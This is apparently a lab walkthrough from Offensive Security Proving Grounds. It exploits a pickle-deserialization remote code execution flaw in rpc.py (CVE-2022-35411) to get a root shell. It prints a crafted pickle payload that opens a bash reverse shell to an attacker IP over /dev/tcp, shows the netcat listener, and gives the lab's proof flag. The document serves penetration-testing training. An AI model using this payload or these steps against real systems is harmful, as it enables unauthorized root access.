Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.
This lab emphasizes Nmap enumeration techniques for network scanning and vulnerability assessment. Learners will explore the use of Python pickle for exploitation, gaining insights into the risks associated with deserialization vulnerabilities. The lab provides practical experience in identifying and exploiting weaknesses within a system.
Scenario
This lab demonstrates exploiting a Remote Code Execution (RCE) vulnerability in rpc.py (CVE-2022-35411), an ASGI-based RPC framework, to achieve initial access. Privilege escalation is achieved by leveraging the RCE to set the SUID bit on /bin/bash, enabling root access. This lab highlights RPC exploitation, serialized payload crafting using pickle, and SUID abuse for privilege escalation.
Learning objectives
After completion of this lab, learners will be able to:
- Enumerate services and identify the RPC server running on port 65432.
- Confirm the use of rpc.py and identify it as vulnerable to CVE-2022-35411.
- Craft and send a malicious pickle payload to execute arbitrary commands via the RPC server.
- Set the SUID bit on /bin/bash using the exploit to allow privilege escalation.
- Execute /bin/bash -p to escalate privileges and gain root access.
Enumeration
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:65432 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 152 192.168.178.210:8000 192.168.45.200:39258 ESTABLISHED on (0.05/0/0)
tcp6 0 0 :::22 :::* LISTEN off (0.00/0/0)
udp 0 0 127.0.0.53:53 0.0.0.0:* off (0.00/0/0)This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
## We found a random port open 65432, but cannot find any servicesThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
## doing ps -aux we find a random py script run by root user
...
root 1008 0.1 1.2 32208 24528 ? S 22:07 0:01 python3 /opt/rpc.py
...This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Inspect the directory for files relevant to the next step.
user@pc:/home/user$ ls -al /opt/rpc.py
-rw-r--r-- 1 root root 625 Aug 25 2023 /opt/rpc.py
# Read the file contents for useful configuration or credential data.
user@pc:/home/user$ cat /opt/rpc.py
from typing import AsyncGenerator
from typing_extensions import TypedDict
import uvicorn
from rpcpy import RPC
app = RPC(mode="ASGI")
@app.register
async def none() -> None:
return
@app.register
async def sayhi(name: str) -> str:
return f"hi {name}"
@app.register
async def yield_data(max_num: int) -> AsyncGenerator[int, None]:
for i in range(max_num):
yield i
D = TypedDict("D", {"key": str, "other-key": str})
@app.register
async def query_dict(value: str) -> D:
return {"key": value, "other-key": value}
if __name__ == "__main__":
uvicorn.run(app, interface="asgi3", port=65432)
user@pc:/home/user$This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Execute the next evidence-gathering step in the authorized lab.
user@pc:/tmp$ vim 50983.py
# Run the helper or analysis script used in this lab step.
user@pc:/tmp$ python3 50983.py
b"\x80\x04\x95Q\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c6bash -c 'bash -i >& /dev/tcp/192.168.45.200/1234 0>&1'\x94\x85\x94R\x94."Initial Access
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# The scan output identifies the target's exposed services and their versions.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
| 256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
|_ 256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
8000/tcp open http ttyd 1.7.3-a2312cb (libwebsockets 3.2.0)
|_http-server-header: ttyd/1.7.3-a2312cb (libwebsockets/3.2.0)
|_http-title: ttyd - Terminal
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel=Going on port 8000, we online terminal
We can see that rpc.py is using the port 65432
Searching rpc.py exploits online, we found https://www.exploit-db.com/exploits/50983
Uploaded the exploit py file to the machine and edited the code
Privilege Escalation
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
─(kali㉿kali)-[~/offsec/pc]
# Execute the next evidence-gathering step in the authorized lab.
└─$ rlwrap nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.45.200] from (UNKNOWN) [192.168.178.210] 60232
bash: cannot set terminal process group (1008): Inappropriate ioctl for device
bash: no job control in this shell
root@pc:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@pc:/# cat /root/proof.txt
# Read the file contents for useful configuration or credential data.
cat /root/proof.txt
b2f8210c981afdde45c8e8592519230cTakeaways
This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.